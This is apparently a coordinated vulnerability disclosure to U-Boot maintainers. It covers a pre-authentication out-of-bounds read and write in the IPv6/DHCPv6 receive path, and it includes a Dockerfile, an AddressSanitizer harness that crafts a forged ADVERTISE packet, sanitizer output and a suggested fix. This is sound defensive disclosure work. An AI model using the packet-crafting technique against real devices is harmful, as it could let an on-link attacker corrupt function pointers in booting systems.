Hello U-Boot (Network) maintainers,
I'd like to report a High-severity security issue in U-Boot (Network)
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible buffer
overflow over network in U-Boot's IPv6 receive handler.
I have attached 4 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
4) shims.h: A dummy shims file to fulfill the PoC compile and link.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 \
&& rm -rf /var/lib/apt/lists/*
ARG PIN=ece349ade2973e220f524ce59e59711cc919263f
WORKDIR /src
RUN git clone --filter=blob:none https://github.com/u-boot/u-boot.git . && \
git fetch --depth 1 origin ${PIN} && \
git checkout FETCH_HEAD
# Assert the checked-out tree is exactly the pinned commit.
RUN test "$(git rev-parse HEAD)" = "${PIN}" && \
echo "HEAD matches PIN ${PIN}"
WORKDIR /build
COPY shims.h driver.c ./
# Bake the confirmed pin into the harness output.
RUN printf '#define POC_PIN "%s"\n' "$(git -C /src rev-parse HEAD)" > pin.h
# Slice the REAL vulnerable functions verbatim out of the pinned tree.
# net/net6.c : from32to16, csum_do_csum, csum_partial, csum_ipv6_magic,
# net_ip6_handler
# net/dhcpv6.c : dhcp6_handler, dhcp6_add_option, dhcp6_send_solicit_packet,
# dhcp6_send_request_packet, dhcp6_parse_ia_options,
# dhcp6_parse_options, dhcp6_check_advertise_packet,
# dhcp6_check_reply_packet, dhcp6_timeout_handler,
# dhcp6_state_machine, dhcp6_start
RUN { \
echo '#include "shims.h"'; \
echo ''; \
sed -n '164,176p;178,185p;187,241p;243,252p;254,306p;380,449p'
/src/net/net6.c; \
echo ''; \
echo 'void dhcp6_handler(uchar *pkt, unsigned int dest, struct in_addr
sip, unsigned int src, unsigned int len);'; \
echo 'int dhcp6_add_option(int option_id, uchar *pkt);'; \
echo 'void dhcp6_send_solicit_packet(void);'; \
echo 'void dhcp6_send_request_packet(void);'; \
echo 'void dhcp6_parse_ia_options(struct dhcp6_option_hdr *ia_ptr, uchar
*ia_option_ptr);'; \
echo 'void dhcp6_parse_options(uchar *rx_pkt, unsigned int len);'; \
echo 'int dhcp6_check_advertise_packet(uchar *rx_pkt, unsigned int
len);'; \
echo 'int dhcp6_check_reply_packet(uchar *rx_pkt, unsigned int len);'; \
echo 'void dhcp6_timeout_handler(void);'; \
echo 'void dhcp6_state_machine(bool timeout, uchar *rx_pkt, unsigned int
len);'; \
echo 'void dhcp6_start(void);'; \
echo ''; \
sed -n
'40,48p;57,164p;176,209p;221,259p;261,290p;303,460p;481,533p;550,580p;583,587p;611,751p;754,763p'
/src/net/dhcpv6.c; \
} > real_raw.c && \
sed 's/^static void dhcp6_/void dhcp6_/; s/^static int dhcp6_/int dhcp6_/'
real_raw.c > real_code.c
RUN gcc -g -O1 -fno-omit-frame-pointer -fsanitize=address \
-o poc driver.c real_code.c
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
CMD ["./poc"]
/*
* driver.c - AddressSanitizer harness that drives the REAL, verbatim-extracted
* U-Boot IPv6/DHCPv6 receive path (real_code.c) with a crafted link-local
* DHCPv6 ADVERTISE.
*
* What is REAL (sliced byte-for-byte from the pinned tree into real_code.c):
* net/net6.c : csum_partial, csum_ipv6_magic (+ helpers), net_ip6_handler
* net/dhcpv6.c : dhcp6_handler, dhcp6_state_machine, dhcp6_check_advertise_packet,
* dhcp6_parse_options, dhcp6_parse_ia_options, dhcp6_add_option,
* dhcp6_send_request_packet, dhcp6_send_solicit_packet, ...
* The ONLY transformation applied to that code is removal of the leading
* `static` storage-class keyword so the harness can call across translation
* units; every statement inside the functions is the pinned source unchanged.
*
* What is SCAFFOLDING (shims.h + this file): the base types, wire structs,
* timers, RNG, the transmit primitive and the network globals. The receive
* buffers are modelled as dedicated 1536-byte (PKTSIZE_ALIGN) allocations so
* AddressSanitizer reports a crisp boundary; on real hardware the transmit
* slot lives in net_pkt_buf[] in .bss, immediately followed by the
* udp_packet_handler / arp_packet_handler / time_handler function pointers
* (net/net.c), which the overflow overwrites.
*
* tag: poc-net6-dhcp6
*/
#include "shims.h"
#include "pin.h"
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/* real, verbatim functions we invoke directly (static stripped at extract) */
void dhcp6_parse_options(uchar *rx_pkt, unsigned int len);
void dhcp6_send_request_packet(void);
void dhcp6_handler(uchar *pkt, unsigned int dest, struct in_addr sip,
unsigned int src, unsigned int len);
/* ---- globals the real code links against ---- */
u8 net_ethaddr[6] = { 0x02, 0x00, 0x00, 0x11, 0x22, 0x33 };
char net_boot_file_name[1024];
char *pxelinux_configfile;
struct in6_addr net_ip6;
struct in6_addr net_server_ip6;
struct dhcp6_sm_params sm_params;
int updated_sol_max_rt_ms = SOL_MAX_RT_MS;
const struct in6_addr dhcp_mcast_ip6 = DHCP6_MULTICAST_ADDR;
const u8 net_dhcp6_mcast_ethaddr[6] = { 0x33, 0x33, 0, 0, 0, 2 };
uchar *net_tx_packet;
/* ---- scaffolding leaf helpers ---- */
static rxhand_f *udp_handler;
int net_eth_hdr_size(void) { return 14; }
void net_set_udp_handler(rxhand_f *f) { udp_handler = f; }
rxhand_f *net_get_udp_handler(void) { return udp_handler; }
void net_set_timeout_handler(ulong iv, thand_f *f) { (void)iv; (void)f; }
int net_send_udp_packet6(uchar *e, struct in6_addr *d, int dp, int sp, int l)
{ (void)e; (void)d; (void)dp; (void)sp; (void)l; return 0; }
void net_set_state(int s) { (void)s; }
void net_auto_load(void) { }
void net_copy_ip6(void *to, const void *from) { memcpy(to, from, sizeof(struct in6_addr)); }
unsigned long get_ticks(void) { return 0; }
unsigned long get_timer(unsigned long b) { (void)b; return 0; }
void udelay(unsigned long u) { (void)u; }
void srand_mac(void) { }
void copy_filename(char *d, const char *s, int n) { if (n > 0) { strncpy(d, s, n - 1); d[n - 1] = 0; } }
int string_to_ip6(const char *s, size_t n, struct in6_addr *a) { (void)s; (void)n; (void)a; return 0; }
int ping6_receive(struct ethernet_hdr *e, struct ip6_hdr *i, int l) { (void)e; (void)i; (void)l; return 0; }
int ndisc_receive(struct ethernet_hdr *e, struct ip6_hdr *i, int l) { (void)e; (void)i; (void)l; return 0; }
/* ---- constants for the crafted frame ---- */
#define SLOT_SIZE PKTSIZE_ALIGN /* 1536, real rx/tx slot */
#define DUID_LEN 10 /* DUID-LL: 4 + 6 */
#define TRANS_ID 0x1234
/* one static capture handler used for the non-destructive length-math proof */
static unsigned int captured_len;
static void capture_handler(uchar *pkt, unsigned int dport, struct in_addr sip,
unsigned int sport, unsigned int len)
{
(void)dport; (void)sip; (void)sport;
captured_len = len;
/* real parser: derives the SERVERID size from the (inflated) length */
dhcp6_parse_options(pkt, len);
}
static void reset_state(void)
{
memset(&sm_params, 0, sizeof(sm_params));
sm_params.curr_state = DHCP6_SOLICIT; /* awaiting ADVERTISE */
sm_params.trans_id = TRANS_ID;
/* pre-seed the client DUID so the ADVERTISE's CLIENTID matches */
memset(sm_params.duid, 0xC1, DUID_LEN);
}
/*
* Build an IPv6/UDP/DHCP6 ADVERTISE into a real-sized (1536 byte) rx slot.
* Returns the total physical frame length written. *dhcp6_off receives the
* offset of the DHCP6 payload; *wire_udp_len receives the udp_len field value.
*/
static int build_advertise(uchar *slot, int oversized, int *dhcp6_off,
unsigned *wire_udp_len)
{
struct ip6_hdr *ip6 = (struct ip6_hdr *)slot;
struct udp_hdr *udp = (struct udp_hdr *)(slot + IP6_HDR_SIZE);
uchar *dh = slot + IP6_HDR_SIZE + UDP_HDR_SIZE;
struct dhcp6_hdr *d6 = (struct dhcp6_hdr *)dh;
struct dhcp6_option_hdr *cli, *srv;
int off, dhcp6_len, serverid_datalen;
u16 payload_len;
memset(slot, 0, SLOT_SIZE);
/* DHCP6 message header */
d6->msg_type = DHCP6_MSG_ADVERTISE;
d6->trans_id = htons(sm_params.trans_id);
off = sizeof(struct dhcp6_hdr); /* 4 */
/* CLIENTID option that matches sm_params.duid */
cli = (struct dhcp6_option_hdr *)(dh + off);
cli->option_id = htons(DHCP6_OPTION_CLIENTID);
cli->option_len = htons(DUID_LEN);
memset(cli->option_data, 0xC1, DUID_LEN);
off += sizeof(struct dhcp6_option_hdr) + DUID_LEN; /* +14 -> 18 */
/* SERVERID option: honest length in the negative case, a length that
* exceeds the real frame (but not the inflated udp_len) in the
* positive case.
*/
srv = (struct dhcp6_option_hdr *)(dh + off);
srv->option_id = htons(DHCP6_OPTION_SERVERID);
if (oversized) {
/* 22 + option_len must stay <= parse len (udp_len - 8 = 65527)
* so dhcp6_parse_options' bound check passes on the inflated len
*/
srv->option_len = htons(65505);
serverid_datalen = 0; /* NOT physically present */
} else {
srv->option_len = htons(4);
serverid_datalen = 4;
memset(srv->option_data, 0x5A, serverid_datalen);
}
off += sizeof(struct dhcp6_option_hdr) + serverid_datalen;
dhcp6_len = off;
/* IPv6 header */
ip6->version = 6;
ip6->nexthdr = IPPROTO_UDP;
payload_len = (u16)(UDP_HDR_SIZE + dhcp6_len); /* real bytes present */
ip6->payload_len = htons(payload_len);
/* UDP header */
udp->udp_src = htons(PORT_DHCP6_S);
udp->udp_dst = htons(PORT_DHCP6_C);
if (oversized)
udp->udp_len = htons(0xFFFF); /* the lie */
else
udp->udp_len = htons(UDP_HDR_SIZE + dhcp6_len);
/* valid IPv6/UDP checksum over the real (small) payload so that
* net_ip6_handler's checksum test passes and reaches the handler
*/
udp->udp_xsum = 0;
{
unsigned int cp = csum_partial((u8 *)udp, payload_len, 0);
udp->udp_xsum = csum_ipv6_magic(&ip6->saddr, &ip6->daddr,
payload_len, IPPROTO_UDP, cp);
}
if (dhcp6_off)
*dhcp6_off = IP6_HDR_SIZE + UDP_HDR_SIZE;
if (wire_udp_len)
*wire_udp_len = ntohs(udp->udp_len);
return IP6_HDR_SIZE + UDP_HDR_SIZE + dhcp6_len;
}
int main(void)
{
uchar *rx, *tx;
struct ethernet_hdr et;
int frame_len, dhcp6_off;
unsigned wire_udp_len;
setvbuf(stdout, NULL, _IONBF, 0);
memset(&et, 0, sizeof(et));
printf("##### pin #####\n%s\n\n", POC_PIN);
rx = malloc(SLOT_SIZE);
tx = malloc(SLOT_SIZE);
net_tx_packet = tx;
/* ---------------------------------------------------------------- */
/* length-math proof: drive the REAL net_ip6_handler + real */
/* dhcp6_parse_options with the crafted (udp_len=0xFFFF) frame and */
/* observe the inflated length propagate. No out-of-bounds access. */
/* ---------------------------------------------------------------- */
printf("== length propagation through the REAL receive path ==\n");
reset_state();
frame_len = build_advertise(rx, /*oversized=*/1, &dhcp6_off, &wire_udp_len);
captured_len = 0;
net_set_udp_handler(capture_handler);
net_ip6_handler(&et, (struct ip6_hdr *)rx, frame_len);
printf(" physical frame on the wire : %d bytes\n", frame_len);
printf(" physical UDP payload present : %d bytes\n",
frame_len - dhcp6_off);
printf(" udp->udp_len field (attacker) : 0x%04X (%u)\n",
wire_udp_len, wire_udp_len);
printf(" length net_ip6_handler handed on : %u <- udp_len - 8, unchecked\n",
captured_len);
printf(" dhcp6_parse_options SERVERID size : %u <- ~64KB from a %d-byte frame\n\n",
sm_params.rx_status.server_uid_size, frame_len - dhcp6_off);
/* ---------------------------------------------------------------- */
/* NEGATIVE control: well-formed ADVERTISE, honest udp_len, small */
/* SERVERID. Same real chain end to end; must stay clean. */
/* ---------------------------------------------------------------- */
printf("== NEGATIVE control: well-formed ADVERTISE ==\n");
reset_state();
frame_len = build_advertise(rx, /*oversized=*/0, &dhcp6_off, &wire_udp_len);
net_set_udp_handler(dhcp6_handler);
net_ip6_handler(&et, (struct ip6_hdr *)rx, frame_len);
printf(" udp->udp_len field : %u (honest)\n", wire_udp_len);
printf(" saved server_uid.uid_size : %u\n",
sm_params.server_uid.uid_size);
printf(" [neg] full DHCP6 chain completed with no overflow\n\n");
/* ---------------------------------------------------------------- */
/* POSITIVE control (read): drive the REAL full chain */
/* net_ip6_handler -> dhcp6_handler -> dhcp6_state_machine -> */
/* dhcp6_check_advertise_packet with the oversized SERVERID. The */
/* memcpy that saves the server UID over-reads the rx slot. */
/* Run in a child so we can also demonstrate the write below. */
/* ---------------------------------------------------------------- */
printf("== POSITIVE control (read): oversized SERVERID, full chain ==\n");
fflush(stdout);
{
pid_t pid = fork();
if (pid == 0) {
reset_state();
frame_len = build_advertise(rx, 1, &dhcp6_off, &wire_udp_len);
net_set_udp_handler(dhcp6_handler);
/* dhcp6_check_advertise_packet malloc()s server_uid_size
* bytes then memcpy()s that many bytes out of the 1536
* byte rx slot -> heap-buffer-overflow READ.
*/
net_ip6_handler(&et, (struct ip6_hdr *)rx, frame_len);
_exit(0); /* not reached under ASan */
}
int st = 0;
waitpid(pid, &st, 0);
if (WIFSIGNALED(st))
printf(" [pos-read] child terminated by signal %d "
"(AddressSanitizer abort on the over-read)\n\n",
WTERMSIG(st));
else
printf(" [pos-read] child exited %d\n\n", WEXITSTATUS(st));
}
/* ---------------------------------------------------------------- */
/* POSITIVE control (write): the same ~64KB size drives the REAL */
/* dhcp6_send_request_packet memcpy into net_tx_packet -> overflow of */
/* the transmit slot (adjacent to the networking function pointers on */
/* real hardware). This aborts the process under ASan. */
/* ---------------------------------------------------------------- */
printf("== POSITIVE control (write): server UID copied into net_tx_packet ==\n");
fflush(stdout);
reset_state();
sm_params.server_uid.uid_size = 65509; /* size parse derived */
sm_params.server_uid.uid_ptr = malloc(sm_params.server_uid.uid_size);
memset(sm_params.server_uid.uid_ptr, 0x5A, sm_params.server_uid.uid_size);
sm_params.ia_id = 0xDEADBEEF;
net_tx_packet = tx; /* real 1536 byte slot */
dhcp6_send_request_packet(); /* OOB WRITE here */
printf("unreachable\n");
free(rx);
free(tx);
return 0;
}
# A forged DHCPv6 ADVERTISE overflows U-Boot's transmit buffer over the network stack's function pointers because the IPv6 receive path never checks the packet length
U-Boot's IPv6 receive handler `net_ip6_handler()` accepts a datagram after validating only that the frame is at least an IPv6 header long and that the version nibble is 6. It never compares the IPv6 `payload_len` or the UDP `udp_len` field against the number of bytes actually received, unlike the IPv4 path in `net/net.c`, which rejects any frame shorter than its claimed `ip_len` and bounds `udp_len`. A link-local attacker who answers a DHCPv6 SOLICIT during autoboot can therefore send an ADVERTISE whose UDP header declares `udp_len = 0xFFFF` while the frame on the wire is tiny; `net_ip6_handler()` hands `udp_len - 8` (65527) to the DHCPv6 handler as the payload length. That inflated length flows unchecked into `dhcp6_parse_options()`, whose option loop and per-option bound check both use it, so a SERVERID option can declare a body of roughly 64KB. `dhcp6_check_advertise_packet()` then `malloc()`s that size and `memcpy()`s it out of the ~1536 byte receive slot (an out-of-bounds read), and `dhcp6_send_request_packet()` `memcpy()`s the same ~64KB into `net_tx_packet`, overflowing the transmit slot, which on real hardware lives in `net_pkt_buf[]` immediately ahead of the `udp_packet_handler`, `arp_packet_handler` and `time_handler` function pointers. This is a pre-authentication, attacker-controlled out-of-bounds write over live function pointers, reachable during DHCPv6 autoboot. It is confirmed by an AddressSanitizer proof of concept that drives the real functions. Reaching the code requires `CONFIG_IPV6` and `CONFIG_CMD_DHCP6`.
## Root cause
`net_ip6_handler()` performs only two length-independent checks before parsing. It confirms the buffer holds at least an IPv6 header and that the version is 6, then dispatches on `nexthdr`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/net6.c#L380-L393
```c
int net_ip6_handler(struct ethernet_hdr *et, struct ip6_hdr *ip6, int len)
{
......
if (len < IP6_HDR_SIZE)
return -EINVAL;
if (ip6->version != 6)
return -EINVAL;
```
In the UDP branch it computes the checksum over `ntohs(ip6->payload_len)` bytes and then invokes the registered UDP handler with `ntohs(udp->udp_len) - 8` as the length. Neither `payload_len` nor `udp_len` is ever compared against the received `len`, so both are attacker-chosen values that can far exceed the real frame. The `csum_partial()` call is itself an over-read when `payload_len` is inflated, and the length passed to the handler is unbounded.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/net6.c#L423-L443
```c
case IPPROTO_UDP:
udp = (struct udp_hdr *)(((uchar *)ip6) + IP6_HDR_SIZE);
csum = udp->udp_xsum;
hlen = ntohs(ip6->payload_len);
udp->udp_xsum = 0;
/* checksum */
csum_p = csum_partial((u8 *)udp, hlen, 0);
......
/* IP header OK. Pass the packet to the current handler. */
net_get_udp_handler()((uchar *)ip6 + IP6_HDR_SIZE +
UDP_HDR_SIZE,
ntohs(udp->udp_dst),
zero_ip,
ntohs(udp->udp_src),
ntohs(udp->udp_len) - 8);
```
The IPv4 receive path shows the checks that are missing above: it rejects a frame whose received length is shorter than the claimed `ip_len`, clamps `len` to `ip_len`, and bounds `udp_len` before use.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/net.c#L1302-L1311
```c
/* Check the packet length */
if (len < ntohs(ip->ip_len)) {
debug("len bad %d < %d\n", len, ntohs(ip->ip_len));
return;
}
len = ntohs(ip->ip_len);
if (len < IP_HDR_SIZE) {
debug("bad ip->ip_len %d < %d\n", len, (int)IP_HDR_SIZE);
return;
}
```
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/net.c#L1379
```c
if (ntohs(ip->udp_len) < UDP_HDR_SIZE || ntohs(ip->udp_len) > len - IP_HDR_SIZE)
```
The DHCPv6 UDP handler is `dhcp6_handler()`, which forwards the attacker-supplied length straight into the state machine.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/dhcpv6.c#L40-L48
```c
static void dhcp6_handler(uchar *pkt, unsigned int dest, struct in_addr sip,
unsigned int src, unsigned int len)
{
/* return if ports don't match DHCPv6 ports */
if (dest != PORT_DHCP6_C || src != PORT_DHCP6_S)
return;
dhcp6_state_machine(false, pkt, len);
}
```
In `dhcp6_parse_options()` the inflated `len` is the sole authority for both the loop bound and the per-option bound check, so a single option may claim a body that stretches far past the real frame. For a SERVERID option the recorded size is the option body length plus the option header, computed from that unchecked `option_len`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/dhcpv6.c#L314-L337
```c
while (option_hdr < (struct dhcp6_option_hdr *)(rx_pkt + len)) {
option_ptr = ((uchar *)option_hdr) + sizeof(struct dhcp6_hdr);
option_len = ntohs(option_hdr->option_len);
if (option_ptr + option_len > rx_pkt + len) {
debug("Invalid option length\n");
return;
}
......
case DHCP6_OPTION_SERVERID:
sm_params.rx_status.server_id_found = true;
sm_params.rx_status.server_uid_ptr = (uchar *)option_hdr;
sm_params.rx_status.server_uid_size = option_len +
sizeof(struct dhcp6_option_hdr);
```
`dhcp6_check_advertise_packet()` allocates `server_uid_size` bytes and copies that many bytes out of the received packet. Because `server_uid_size` is derived from the inflated length while the receive slot is only about 1536 bytes, the `memcpy()` reads far beyond the slot.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/dhcpv6.c#L507-L517
```c
if (!sm_params.server_uid.uid_ptr ||
sm_params.server_uid.preference < sm_params.rx_status.preference) {
rx_uid_size = sm_params.rx_status.server_uid_size;
if (sm_params.server_uid.uid_ptr)
free(sm_params.server_uid.uid_ptr);
sm_params.server_uid.uid_ptr = malloc(rx_uid_size * sizeof(uchar));
if (sm_params.server_uid.uid_ptr)
memcpy(sm_params.server_uid.uid_ptr,
sm_params.rx_status.server_uid_ptr, rx_uid_size);
```
When the state machine advances to REQUEST it builds the outgoing packet in `net_tx_packet` and copies the saved server UID into it. The length is the same inflated `uid_size`, so this `memcpy()` overflows the transmit slot.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/dhcpv6.c#L243-L245
```c
if (sm_params.server_uid.uid_ptr) {
memcpy(pkt, sm_params.server_uid.uid_ptr, sm_params.server_uid.uid_size);
pkt += sm_params.server_uid.uid_size;
}
```
The transmit slot is not an isolated allocation. `net_tx_packet` points into `net_pkt_buf[]`, a single `.bss` array that is immediately followed by the current UDP, ARP and timeout handler function pointers, so an overflow of the transmit slot writes attacker bytes across those pointers.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/net.c#L174-L190
```c
static uchar net_pkt_buf[(PKTBUFSRX+1) * PKTSIZE_ALIGN + PKTALIGN];
/* Current UDP RX packet handler */
static rxhand_f *udp_packet_handler;
/* Current ARP RX packet handler */
static rxhand_f *arp_packet_handler;
......
/* Current timeout handler */
static thand_f *time_handler;
......
/* THE transmit packet */
uchar *net_tx_packet;
```
## Proof of Concept
The reproducer slices the real functions verbatim out of the pinned tree at build time and compiles them under AddressSanitizer: `csum_fold`, `from32to16`, `csum_do_csum`, `csum_partial`, `csum_ipv6_magic` and `net_ip6_handler` from `net/net6.c`, and `dhcp6_handler`, `dhcp6_add_option`, `dhcp6_send_solicit_packet`, `dhcp6_send_request_packet`, `dhcp6_parse_ia_options`, `dhcp6_parse_options`, `dhcp6_check_advertise_packet`, `dhcp6_check_reply_packet`, `dhcp6_timeout_handler`, `dhcp6_state_machine` and `dhcp6_start` from `net/dhcpv6.c`. The only transformation applied to that code is removal of the leading `static` keyword on the DHCPv6 definitions so the harness can call them across translation units; every statement inside the functions is the pinned source unchanged. Executed by the PoC is the whole receive path: `net_ip6_handler()` validates and dispatches the crafted datagram, the real `dhcp6_handler`/`dhcp6_state_machine`/`dhcp6_check_advertise_packet`/`dhcp6_parse_options` chain runs, and the real `dhcp6_send_request_packet()` performs the transmit copy. Cited rather than executed are the surrounding U-Boot facilities: the base types and wire structs, the timers, the RNG, the transmit primitive, and the network globals are provided as faithful scaffolding, and the receive and transmit slots are modelled as dedicated 1536-byte (`PKTSIZE_ALIGN`) allocations so AddressSanitizer reports a crisp boundary, standing in for the shared `net_pkt_buf[]` array whose adjacency to the handler pointers is shown above. The build fails unless the checked-out tree is exactly the pinned commit.
The harness prints the pin, then runs a length-propagation demonstration (no out-of-bounds access), a negative control, and two positive controls. The negative control feeds a well-formed ADVERTISE with an honest `udp_len` and a small SERVERID and completes the real chain cleanly. The positive controls feed the crafted ADVERTISE (`udp_len = 0xFFFF`, oversized SERVERID): the first drives the full receive chain and faults inside `dhcp6_check_advertise_packet()`'s copy (the out-of-bounds read), the second drives `dhcp6_send_request_packet()` with the same ~64KB size and overflows `net_tx_packet` (the out-of-bounds write).
```
docker build -t poc . && docker run --rm poc
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
== length propagation through the REAL receive path ==
physical frame on the wire : 70 bytes
physical UDP payload present : 22 bytes
udp->udp_len field (attacker) : 0xFFFF (65535)
length net_ip6_handler handed on : 65527 <- udp_len - 8, unchecked
dhcp6_parse_options SERVERID size : 65509 <- ~64KB from a 22-byte frame
== NEGATIVE control: well-formed ADVERTISE ==
DHCP6 REQUEST 0
udp->udp_len field : 34 (honest)
saved server_uid.uid_size : 8
[neg] full DHCP6 chain completed with no overflow
== POSITIVE control (read): oversized SERVERID, full chain ==
AddressSanitizer:DEADLYSIGNAL
=================================================================
==7==ERROR: AddressSanitizer: SEGV on unknown address 0x51b000010000 (pc 0x7f0a21abaf07 bp 0x7fffc41fa010 sp 0x7fffc41f9ff8 T0)
==7==The signal is caused by a READ memory access.
#0 0x7f0a21abaf07 (/lib/x86_64-linux-gnu/libc.so.6+0x188f07) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#1 0x55692484e7d9 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x55692484e7d9 in dhcp6_check_advertise_packet /build/real_code.c:636
#3 0x55692484eec0 in dhcp6_state_machine /build/real_code.c:705
#4 0x55692484f77b in dhcp6_handler /build/real_code.c:232
#5 0x55692484ced7 in net_ip6_handler /build/real_code.c:199
#6 0x55692484c156 in main /build/driver.c:247
#7 0x7f0a2195c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7f0a2195c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x55692484b4a4 in _start (/build/poc+0x24a4) (BuildId: c5e68d2d776308d917f38eb1394b91c7e63e9de1)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x188f07) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
==7==ABORTING
[pos-read] child terminated by signal 6 (AddressSanitizer abort on the over-read)
== POSITIVE control (write): server UID copied into net_tx_packet ==
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000d80 at pc 0x7f0a21c3f303 bp 0x7fffc41fa070 sp 0x7fffc41f9818
WRITE of size 65509 at 0x51b000000d80 thread T0
#0 0x7f0a21c3f302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x55692484db64 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x55692484db64 in dhcp6_send_request_packet /build/real_code.c:399
#3 0x55692484c2af in main /build/driver.c:274
#4 0x7f0a2195c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f0a2195c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x55692484b4a4 in _start (/build/poc+0x24a4) (BuildId: c5e68d2d776308d917f38eb1394b91c7e63e9de1)
0x51b000000d80 is located 0 bytes after 1536-byte region [0x51b000000780,0x51b000000d80)
allocated by thread T0 here:
#0 0x7f0a21c419c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x55692484beea in main /build/driver.c:190
#2 0x7f0a2195c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#3 0x7f0a2195c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x55692484b4a4 in _start (/build/poc+0x24a4) (BuildId: c5e68d2d776308d917f38eb1394b91c7e63e9de1)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
```
The length-propagation block shows the mechanism directly: a 22-byte UDP payload carrying `udp_len = 0xFFFF` causes the real `net_ip6_handler()` to hand 65527 bytes to the DHCPv6 handler, and the real `dhcp6_parse_options()` to record a SERVERID size of 65509. The negative control feeds an honest `udp_len` and a small SERVERID and completes the identical real chain (including a REQUEST transmit) with an 8-byte server UID and no overflow, so the positive results are not an artefact of the harness. The first positive control drives the real receive chain end to end and the copy inside `dhcp6_check_advertise_packet()` walks ~64KB off the 1536-byte receive slot, faulting under AddressSanitizer (a read access). The second positive control shows the write primitive: the real `dhcp6_send_request_packet()` copies 65509 bytes into the 1536-byte `net_tx_packet` slot, reported as a heap-buffer-overflow write ending exactly at the slot boundary. Preconditions: the target is built with `CONFIG_IPV6` and `CONFIG_CMD_DHCP6` and is performing DHCPv6 (autoboot or a `dhcp6` command), and the attacker is on the link so it can answer the SOLICIT with a crafted ADVERTISE; no authentication is involved.
## Mitigation
Validate the declared lengths against the received frame in `net_ip6_handler()` before using them, mirroring the IPv4 path in `net/net.c`. Reject the datagram unless `IP6_HDR_SIZE + ntohs(ip6->payload_len) <= len`, and in the UDP branch unless `ntohs(udp->udp_len) >= UDP_HDR_SIZE` and `ntohs(udp->udp_len) <= ntohs(ip6->payload_len)`. Compute the checksum and the handler length from the validated `udp_len` rather than from the raw header fields, so that neither `csum_partial()` nor the UDP handler is ever handed a length larger than the bytes actually received. Bounding the length at the point of entry removes the inflation that the DHCPv6 option parser and both server-UID copies rely on.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.
/*
* shims.h - minimal environment that lets the REAL, verbatim-extracted
* U-Boot IPv6/DHCPv6 receive path compile and run under AddressSanitizer.
*
* Everything here is scaffolding: leaf helpers (checksum callers aside),
* timers, RNG, the transmit primitive and the network globals. The actual
* vulnerable logic - net_ip6_handler(), dhcp6_parse_options(),
* dhcp6_check_advertise_packet() and dhcp6_send_request_packet() - is sliced
* verbatim from the pinned tree at build time into real_code.c and is NOT
* reproduced here.
*
* tag: poc-net6-dhcp6
*/
#ifndef POC_SHIMS_H
#define POC_SHIMS_H
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
/* byte order helpers (host is little-endian x86-64); defined locally so we do
* not pull in <netinet/in.h>'s conflicting struct in6_addr / s6_addr macros
*/
#define htons(x) __builtin_bswap16((unsigned short)(x))
#define ntohs(x) __builtin_bswap16((unsigned short)(x))
#define htonl(x) __builtin_bswap32((unsigned int)(x))
#define ntohl(x) __builtin_bswap32((unsigned int)(x))
